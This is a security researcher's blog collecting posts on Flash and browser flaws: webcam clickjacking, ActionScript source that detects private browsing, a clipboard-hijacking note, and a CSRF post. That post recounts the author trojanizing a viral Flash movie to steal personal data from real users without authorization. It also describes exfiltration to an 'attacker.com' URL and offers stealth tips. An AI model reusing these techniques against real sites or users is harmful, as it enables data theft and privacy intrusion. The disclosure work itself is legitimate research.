Webcam ClickJacking Revived

Two weeks ago this guy managed to revive my 3 years old Webcam ClickJacking POC and also managed to revive some of the buzz surrounding it.

The revived attack is exactly the same as my 2008 POC it even uses lots of my code. The different is that instead of using the settings manager html page as the source of the iframe it’s now uses the setting manager swf directly. Actually, this was the first thing I’ve tried after Adobe frame bust the settings manager pages. It didn’t work well for my windows browsers so I’ve ditched it. One of the first comment on my Webcam Clickjacking post created the same thing and gave a link to it (it is now links to an AD). So obviously everyone knew it or at least thought about it – everyone except Adobe.

The Flash Player provide great power on the web, it’s still the only practical mean to interact with the user’s webcam and microphone. You know the cliché, with great power comes great responsibility. Adobe needs to be vigilant when it comes to her users security and privacy, and her users are practically everyone.

Obviously that every new version of the Flash Player should go through vigorous security testing. It’s also needs to be done with every new browser and OS version. That’s a huge matrix but it needs to be done. For example, browser change the way they embed plugins which can easily leads to flaws even if the Flash Player stays the same.

Back than Adobe knew about the ClickJacking beforehand coz they were informed by RSnake and Jeremiah Grossman. They didn’t knew specifically about my POC and the way it exploits the settings manager, but anyhow they should have at least frame-bust every related page. It’s insane that in all of these 3 years no one bothered to at least Flash-bust the settings manager SWF and prevent the resurrection of my POC.

BTW, good job Feross Aboukhadijeh, my name is Guy Aharonovsky – whois is easy…

John Smith’s younger brother, Adam

Update: Youtube has revived my video. you can now watch Webcam Clickjacking as much as you like. —

Remember ClickJacking? The generic flaw in web browsers and HTML. Remember Webcam Clickjacking? My PoC showing how this flaw can be used to take control over a victim webcam and mic.

Well, my PoC, to my surprise, created a lot of buzz when I published it and the related youtube video got 1,220,966 views – most of it from its first day.

view_count

Yesterday I got an email from youtube titled “Video removed – Copyright Infringement”. At first I thought it’s just another spam mail, but looking inside it and than trying to watch my video gave me an alarming red webpage, with the bold text “This video is no longer available due to a copyright claim by Adam Smith.

WTF, what copyright shmopiright, my video has no sound and barley a screen capture of my mouse. In-fact I sometime claim it to be the most dull video with the most views.

My immediate suspect was Adobe, but it made no sense, if they wanted to, they should have done it when it was hot. Than again sense and Adobe legal dept’ doesn’t always go together. flashObject anyone?

Googleing for such a generic name as “Adam Smith” gives about 3,570,000 results, apparently it’s more generic than “John Doe”. Googleing for “Professor Adam Smith” from adobe gives some possible options but it’s still not informative enough and too vague.

So who is this MR. Generic claiming I’ve stole his precious copyrights. Maybe he’s just a fake dude trying to annoy. Even if he’s real, I guess when you have such a generic name you don’t care to be hated, nobody is gonna correlate your face with your name anyway.

Anyhow, I’ve filed a counter-notification and hopefully the video will be up again soon. Even if it won’t, I’m sure it’ll appear in some other places.

There is a lot of info regarding “my video was removed from youtube” just google it, if you need to.

There is a lesson to be learned here, one should never trust google, and alike with their important assets. It can get shut-down in an instance. Personally I don’t care much about this video, I didn’t get a dime out of it and its heydays are long gone. But, there are cases where people lost all of their income one day since google removed their blogspot hosted blog, for example.

If you want full control over your videos and such, you should be hosting it yourself, and on some remote island. Than again, they still be able to cut your cable.

I just wonder where the hell is the decentralized web?! Too few people are controlling too much stuff.

Flash Private Browsing Fixed – Not Good Enough

I was going to congrat Adobe for their fix to the private browsing in Flash, this was my original text:

I’m glad to say that Adobe has fixed the minor issue they had with the new Flash Player 10.1 private browsing. I’ve written before on how a developer can tell the user’s browsing mode.

The Flash Player that is installed with CS5 is 10.1.52.14 which still suffer from this bug. If you surf the web using private browsing mode you should update the Flash Player to the latest, currently, 10.1.53.38 (RC4). Actually you should update it anyway.

But, when I went to see what have they changed in order to fix it. I saw that both modes, now, have the same limit of 100KB, but it’s still differ. While trying to save more than 100KB in normal browsing mode the status is “pending” while in private browsing mode it immediately fails.

Making this demo functional again required changing 1 line of code. Using any Flash Player, from 10.1_beta2 till latest 10.1.53.38(RC4) should show you if you’re in private mode or not.

[kml_flashembed movie="http://blog.guya.net/wp-content/uploads/2010/05/KissAndTell.swf" width="400" height="35" /]

So, please, again, normal and private browsing modes should behave exactly the same from a developer standpoint. Making local storage limit the same 100KB was a step in the right direction, but, it’s not enough. Let any Flash content ask for more storage even if it’s in private mode and allow the user to accept it, just remember to delete the user’s choice along with the local storage.

BTW, it might be possible to trick the browsers to tell you the user’s browsing mode, using HTML5 localStorage for example, and without using Flash.

The updated source code is below:

package {
	import flash.display.Sprite;
	import flash.display.StageAlign;
	import flash.display.StageScaleMode;
	import flash.events.NetStatusEvent;
	import flash.net.SharedObject;
	import flash.net.SharedObjectFlushStatus;
	import flash.text.TextField;
	import flash.text.TextFieldAutoSize;
	import flash.text.TextFormat;
	import flash.utils.getTimer;
	import flash.utils.setTimeout;

	/**
	 * This class will tell the current browsing mode of the user
	 * Tested with Flash Player 10.1 beta 2 - 10.1.53.38 (RC4)
	 * for more info go to:
	 * http://blog.guya.net
	 */

	[SWF(backgroundColor="#FFFFFF", width="400", height="35")]
	public class KissAndTell extends Sprite
	{
		private var _tf:TextField;

		public function KissAndTell()
		{
			initStage();
			createTF();
			setTimeout(saveData, 300);
		}

		private function initStage():void
		{
			stage.scaleMode = StageScaleMode.NO_SCALE;
			stage.align = StageAlign.TOP_LEFT;
		}

		//try to save 140kb into the local storage
		private function saveData():void
		{
			var kissSO:SharedObject = SharedObject.getLocal("kissAndTell");
			kissSO.data.value = getDataString(140);

			var status:String;

			try
			{
				status = kissSO.flush();
				kissSO.addEventListener(NetStatusEvent.NET_STATUS, netStatusHandler);
			}
			catch(ex:Error)
			{
				trace("Save failed - private browsing mode");
				setPrivateText();
			}

			if(status && status == SharedObjectFlushStatus.PENDING)
			{
				trace("Pending status - normal browsing mode");
			}

			/***  Changed in the newer versions of the Flash Player 10.1 beta ***/
			//If we can save more than 100kb then we're in Private Mode
			else if(status && status == SharedObjectFlushStatus.FLUSHED)
			{
				setPrivateText();
            }
		}

		//Listening to this event just to prevent exception on debug players
		private function netStatusHandler(event:NetStatusEvent):void
		{
			trace("event.info.code: " + event.info.code);
		}

		private function setPrivateText():void
		{
			_tf.text = "Private Browsing Mode";
			_tf.backgroundColor = 0xAA2222;
		}

		private function createTF():void
		{
			_tf = new TextField();
			_tf.autoSize = TextFieldAutoSize.LEFT;
			_tf.defaultTextFormat = new TextFormat("Arial, Verdana", 20, 0xFFFFFF, true, null, null, null, null, null, 10, 10);
			_tf.text = "Normal Browsing Mode"
			_tf.backgroundColor = 0x22AA22;
			_tf.background = true;
			addChild(_tf);
		}

		private function getDataString(kb:int):String
		{
			var t:int = getTimer();
			var word:String = "GUYA.NET_GUYA.NET_GUYA.NET_GUYA.NET_GUYA.NET_GUYA.NET_GUYA.NET_GUYA.NET_GUYA.NET_GUYA.NET_GUYA.NET_";
			var count:int;
			var a:Array = new Array();
			var lenNeeded:int = kb * 1024;
			while(count * word.length < lenNeeded)
			{
				a.push(word);
				count++;
			}

			var ret:String = a.join("");
			trace("time for generating " + kb + "kb: " + String(getTimer() - t) + " ml");
			return ret;
		}

	}
}

Kiss And Tell What Is The User Browsing Mode

To know if the user is currently in normal or private browsing mode can be valuable info for any ads providers and spammers, but not only.

With the upcoming Flash Player 10.1 (currently in beta 2) there are many welcome improvements. One of these is the support for private browsing as described in this article.

For me, one thing that  immediately jumped out from the aforementioned article was that, unintentionally, with the aid of the new Beta Flash Player, websites can tell which mode the user is currently using.

“…in private browsing with default settings, the default local storage limit in private browsing is 1 MB…”

“To protect user privacy, there is no way for developers to tell whether their content is handling normal or private LSOs. Flash Player handles local storage data in the same way.” No it doesn’t!

Not only I can tell about the current status of the Flash Player browsing mode, but now I can tell about the browser itself since Flash inherit its mode from the browser.

Load a small enough SWF (less than 215 x 138) so it won’t ever show the settings dialog.

Now, kiss (sorry for the cheesiness ;) ) the local storage with data greater than 128kb. If it reject the kiss then you’re in normal browsing mode, if it accept it you can tell it’s a private mode.

It’s that easy, load this blog post in Private Mode with Flash Player 10.1 beta 2 installed and you’ll see the difference:

[kml_flashembed movie="http://blog.guya.net/wp-content/uploads/2010/01/KissAndTell.swf" width="400" height="35" /]

The solution is simple, private and normal modes should behave completely the same. In this case the local storage capacity should be the same. Lower both to 128kb or up both to 1MB. Which one is better, you may ask?! I’ll tell you latter ;)

The good thing is that Flash Player 10.1 is still in beta 2 so I’m sure it’ll be fixed for by the final release.

The source code is below:

package {
	import flash.display.Sprite;
	import flash.display.StageAlign;
	import flash.display.StageScaleMode;
	import flash.events.NetStatusEvent;
	import flash.net.SharedObject;
	import flash.net.SharedObjectFlushStatus;
	import flash.text.TextField;
	import flash.text.TextFieldAutoSize;
	import flash.text.TextFormat;
	import flash.utils.getTimer;
	import flash.utils.setTimeout;

	/**
	 * This class will tell the current browsing mode of the user
	 * Tested with Flash Player 10.1 beta 2
	 * for more info go to:
	 * http://blog.guya.net
	 */

	[SWF(backgroundColor="#FFFFFF", width="400", height="35")]
	public class KissAndTell extends Sprite
	{
		private var _tf:TextField;

		public function KissAndTell()
		{
			initStage();
			createTF();
			setTimeout(saveData, 300);
		}

		private function initStage():void
		{
			stage.scaleMode = StageScaleMode.NO_SCALE;
			stage.align = StageAlign.TOP_LEFT;
		}

		//try to save 140kb into the local storage
		private function saveData():void
		{
			var kissSO:SharedObject = SharedObject.getLocal("kissAndTell");
			kissSO.data.value = getDataString(140);

			var status:String;

			try
			{
				status = kissSO.flush();
				kissSO.addEventListener(NetStatusEvent.NET_STATUS, netStatusHandler);
			}
			catch(ex:Error)
			{
				trace("Save failed");
			}

			//If we can save more than 128kb then we're in Private Mode
			if (status && status == SharedObjectFlushStatus.FLUSHED)
			{
				setPrivateText();
            }
		}

		//Listening to this event just to prevent exception on debug players
		private function netStatusHandler(event:NetStatusEvent):void
		{
			trace("event.info.code: " + event.info.code);
		}

		private function setPrivateText():void
		{
			_tf.text = "Private Browsing Mode";
			_tf.backgroundColor = 0xAA2222;
		}

		private function createTF():void
		{
			_tf = new TextField();
			_tf.autoSize = TextFieldAutoSize.LEFT;
			_tf.defaultTextFormat = new TextFormat("Arial, Verdana", 20, 0xFFFFFF, true, null, null, null, null, null, 10, 10);
			_tf.text = "Normal Browsing Mode"
			_tf.backgroundColor = 0x22AA22;
			_tf.background = true;
			addChild(_tf);
		}

		private function getDataString(kb:int):String
		{
			var t:int = getTimer();
			var word:String = "GUYA.NET_GUYA.NET_GUYA.NET_GUYA.NET_GUYA.NET_GUYA.NET_GUYA.NET_GUYA.NET_GUYA.NET_GUYA.NET_GUYA.NET_";
			var count:int;
			var a:Array = new Array();
			var lenNeeded:int = kb * 1024;
			while(count * word.length < lenNeeded)
			{
				a.push(word);
				count++;
			}

			var ret:String = a.join("");
			trace("time for generating " + kb + "kb: " + String(getTimer() - t) + " ml");
			return ret;
		}

	}
}

Has my blog got hacked again?!

I was checking my email when all of a sudden I saw this email “New WordPress Blog”. I didn’t remembered adding, updating or doing anything with my blog. I thought about it yesterday though. Could it be that WordPress is so smart and read my mind.

Something was fishy, I’ve already experienced the fact the WP can be hack-able sometimes. I rushed to backup and remove the blog, before the hackers will start messing with me and my visitors.

I was already FTPing when it came to me, even if it was really hacked no need to rush about it, I’ll try to find out what happened.

And indeed google gave the quick answer that if the option database table get corrupted, somehow it gets, WP behave as a new install.  You only need to repair it from the phpMyAdmin, that’s it %)

Anyway it’s time to redo things in my blog, but without the rush.

The moral is always “google it” before you jump to any assumptions.

The biggest terrorists in the world are… Flex bloggers

Adrian Parr, a Flex blogger mostly known for his post listing of AS3 frameworks got hacked by some political lamers. The whole blog is replaced with common and lame hacker page. The allegedly hackers came from this Arab security forum, m4r0c-s3curity.cc.

What is the relation of this blog to your “war on terror”?! Leave your political BS where it belongs.

Google Hackathon was hacked

Two days ago, the first Israeli Google Developer Day was held. It was a colorful and interesting event, to the best of google tradition.

Yesterday, all attendees got an email saying that an unauthorized network activity was detected.

“We identified unauthorised activity on the public wired Ethernet network which was provided by the convention centre for conference attendees to access the Internet.”

Beside the interesting lectures there were two code-labs or hackathons going on. The first thing that came to my mind when I saw everyone are connecting their laptops, wirelly and wirelessly, is that someone will abuse this for some king of Man in the middle attack. But for some reason I thought that since it’s google, they won’t let something like this to happen.

Just minutes before, I asked the google experts over there, which are very nice and professional in there own fields, about the GMail Frame Injection issue. I wasn’t accusing anyone just trying to raise a discussion about it. It seemed that no one knew about it and no one really cared. The suggestion I got was that I should report this somewhere in the GMail website. But, it’s already been reported, I protested.

I should have understood by this, that security isn’t the first priority of these uber geeks.

Maybe we’re expecting too much from google, they’re just the greatest company they’re not gods.

Anyhow I wasn’t hurt by this since I don’t transfer sensitive non encrypted data in these kind of places. And it might be that google is just covering themselves just in case someone got hurt. And most users weren’t really affected.

On a side note, I’ve allowed myself to “analyze” the google dev crowd, I’d expected them to be in higher level then, for example, the Microsoft crowd.

Indeed, in a rough inclusion, the google crowd is much geekier and also much more nerdish, as opposed to the Microsoft crowd, especially here in Israel :D . It can be said that MS is much more approachable and that they create tools that anyone can use, or that MS is aiming to the lowest common denominator, or that everything is political. I don’t care. All I know is that I don’t feel belonging to any of these. The google crowd is too smart nerdish and MS crowd is too… how to say it politely… too stupid common.

I’m somewhere in the creative outskirt, I’m in the Flash crowd :)

P.C. Not that it’s anything wrong about it to be a common .Net developer, a lot of my best friends are .Net developers ;)

Malicious camera spying using ClickJacking

Update: Adobe has fixed this issue by framebusting the Settings Manager pages. Now, 99.9% of the users are protected from this specific exploit. Congrats on the fast response. —-

Turn every browser into a surveillance zombie. The wet dream of every private eye and peeping tom. Imagine this scenario, you play a short game on the web and by doing that you unknowingly grant someone full access to your webcam and microphone.

I’ve made a live demo of it in here, this demo won’t listen or record any of your input.

If you don’t want to try it or don’t have a webcam connected, then check out the video.

[kml_flashembed movie="http://www.youtube.com/v/gxyLbpldmuU" width="450" height="376" /]

When I’ve first heard about ClickJacking and how Adobe is concerned about it, I thought that the Flash Player Security Dialog must have been compromised. But the Security Dialog does a good job disabling itself when you try to mess with it’s visibility through DHTML. Unless there’s some 0-day issue with the Dialog it’s probably relatively safe.

The problem here is the Flash Player Setting Manager, this inheritance from Macromedia might be the Flash Player security Achilles heel.

I’ve written a quick and dirty Javascript game that exploit just that, and demonstrate how an attacker can get a hold of the user’s camera and microphone. This can be used, for example, with platform like ustream, justin and alike or to stream to a private server to create a malicious surveillance platform.

I’ve made it as a JS game to make it easier to understand, but, bear in mind that every Flash, Java, SilverLight, DHTML game or application can be used to achieve the same thing.

Some of the clicks are real game clicks other are jacked clicks. Every time the click is needed to be jacked the content simply move behind the iframe using z-index

I had doubts about publishing this, but, if I could have understand it so are the bad guys, so it’s better to know about it.

In this case Adobe could have just framebust the pages that holds the Settings Manager. There are two issues with frambusting in this case, it won’t solve all cases (legacy browsers for ex) and will force Adobe to rely on javascript.

Play it here, watch it here

Thanx for not killing the Flash clipboard

Recently, a questionable Flash feature of writing to the user’s clipboard has been exploited. Adobe will finally fix this feature and it’ll require user interaction (mouse/keyboard click) in the upcoming Flash 10.

IMHO the people in charge of the Flash Player security have chosen the best option, retaining the functionality of the feature and still keeping the users secured.

Of course, a user can be led to click on the malicious Flash movie, or focus to the movie can be set and any keyboard press will lead to a pollution of the clipboard.

A more strict security measure could have been chosen, a dialog box asking the user to permit clipboard writing, could have been implemented. The Flash Player already uses a similar dialog when interacting with the user’s camera and mic. An updated Internet Explorer uses a dialog when interacting with the clipboard, allowing both read and write.

javascript:clipboardData.setData(“text”, “I’m in the clipboard”); (IE only)

 IE_clipboard

But, using the later option will make this feature too annoying for the user, and mostly useless.

Thanx for not killing this feature but still making it secure enough.

Regarding Flash movies that’ll still try to exploit this feature. It’s up to AD distributors and website owners to do their part and not distribute or host malicious files.

Encapsulating CSRF attacks inside massively distributed Flash movies – Real world example

Update: Added a sterilized demo and the source code.

CSRF (Cross Site Request Forgery) is considered one of the most widely spread exploits in websites today. I’ve written before about how a legitimate Flash file (swf) can be extremely viral. Few days ago I did a real attack, exploiting a CSRF flaw and elaborated it using the nature of Flash virality. The result shocked me.

I have a confession, I sometime look at the source of websites I browse, generally just to see how they did this and that. I also sometimes encounter security flaws in the script I examine, these flaws range from the very dangerous to the not so important, and my reactions range from informing the owners to just ignore it. I had the honor to find a very lame CSRF flaw in a big website which I’m familiar with it’s owners and some of its users. It was a great opportunity to do a real world test on this exploit. In the exploit I found, the attacker can obtain a lot of personal information from the user. A famous CSRF of similar nature has happened to gmail. Bear in mind that this kind of test is illegal and you should always be sure you won’t get in trouble, or just hide very well ;)

I took the same old viral movie of the pug cleaning the screen (screenclean.swf) and manipulated it (added some simple script) in a way that will attempt to attack any user that’ll view it, if the attack is successful and the user data is stolen it’ll be posted to my database (I’ll review the technical details at a latter point). I’ve then, uploaded the file to a server and sent the link to a few users that I know that uses that website, making it look like a naive chain letter.

pug_csrf

Then, I’ve waited for the stolen data to appear in my  database. It was exiting when the first hacked users started to emerge, and with every few refreshes there was a new one. It got a little scary when I saw users that I haven’t directly sent them the email. It was a proof of the virality of the attack.

csrf_db_table_01t

I was shocked when I saw that some of the users were added to my database being attacked from other servers then mine. This has proved the main point of the test, that attacks inside Flash (swf) files aren’t only viral but also get distributed. I wanted to show that this can happen pointing the screenclean.swf which can be found on ~600 different locations. I’ve never imagined that’ll it’ll happen so fast with my test, and on such an old movie.

After a few hours I’ve pulled the plug on this test and changed the swf file to the harmless original. But it was already too late the swf file got re-distributed (copied to other servers). Since I didn’t set the attack to expire and hasn’t obfuscate the code inside it, It was still attacking users, and worse, someone can look inside the swf and manipulate the attack to his needs. I had no control over that anymore, so we needed to fix this CSRF flaw ASAP.

Using Flash as a vessel to distribute CSRF attacks has some distinct benefits for the attacker:

- Beside the virality nature of these kind of Flash videos and games, swf files gets redistributed (hosted from other servers). This kind of attack will work no matter which server the file is served from, directly or embedded inside an html page.

- Script is hidden inside the Flash (swf), won’t be seen even with “View Generated Source”. Can be obfuscated inside the swf as well. Unless you’re watching the traffic you’ll see nothing suspicious.

- Multiple attacks in one swf. If it’s a game played for an hour, there is plenty of time to try many different attacks. The swf can download new kinds of attacks and/or instructions, when these are available, from the attacker server.

- Attack can be manipulated according to the date and time. For ex, let the swf distribute for a few days before starting to attack, set the attack to expire to make it more stealthy.

- Use shared object (Flash cookie) to maintain the user hacked status, more consistent then a cookie.

- Stealing large amount of data is easier as the data can be taken back to the swf and cross-domain Post can be used instead of Get.

Technical info

First of all, what enable this attack is the flaws and features inside every browser and the Flash Player, as I describe here.

Most CSRF attacks manipulate the user data on his behalf, as described here. The flaw I’ve found is returning live Javascript object with lots of personal data, similar to what happened to gmail. It was done this way, I guess, for ease of development, every page that is authenticated can load the url http://victim.com/personal.php?random and get the user’s data ready for any javascript code on the page, for ex, personalData.email.

The way that browsers are built, when the user is authenticated on one domain with a session or a cookie, every page that’ll load a url from this domain inside a script tag will use the authentication, even if the main page is on different domain. A script tag is one of these rare elements that are exempt from the browsers cross-domain-policy and can be loaded for use on different domains.

When the Flash movie (swf) is viewed inside a browser, the swf is “injecting” a javascript code to the page. This javascript is manipulating the page’s DOM and dynamically creating a script tag, this script is loading the vulnerable url as it source. Most of CSRF attacks will be done at this point, but, since our url is returning data, we need to wait for it and then steal it. We use an interval to check when the data is ready on the page, parse it as a string only with the important data then save it to our server database using the dynamically c
reated script with a get parameter http://attacker.com/stolenData.php?data=sensetive_data. We could have considered putting the data back into the swf and then post it to our server, Flash can do a cross-domain post as opposed to Javascript, might be more efficient when dealing with a large amount of data.

If the attack is successful we save it as a cookie, so we won’t attack the same user more then once. Again, we might consider using a Flash shared object which have more consistency.

Fixing the flaw in the website was just a matter of changing the returned data to a raw JSON instead of a live Javacript object. Fixing all CSRF flaws in a website generally is slightly more cumbersome, but not that much.

Added a sterilized demo and the source code.

Summery

Generally users feel comfortable following links, thinking it’s safe since they’re not installing anything, all the more so when it comes to links for flash and images.

This kind of attack is easy to reproduce, an attacker can simply go to youtube, download the FLV of the coolest short video and repeat the process, or worse, put it inside of an addictive game.

There is a tendency to accuse the platforms for being insecure. I agree that the browsers and the Flash Player will have to disallow scripting between them by default when loading a swf file directly, IE already tries to do it but fails miserably. That won’t solve any scenario though, since the harmful swf can be naively embedded inside an html page with scripting set to be allowed.

It’s always up to the developer to develop secure websites and applications without any CSRF or other type of flaws. No matter how strict is the platform (in this case the browsers and the Flash player), a “good” developer will be able to break the toughest security model in a second by writing vulnerable script.

It up to the developer to be a Safeloper and to produce secure applications ;)

The users should be able to feel safe following a link they get in an email message, it’s part of the nature of the Internet, following links that is.

I also did a similar attack using a JPG but that’s a different story.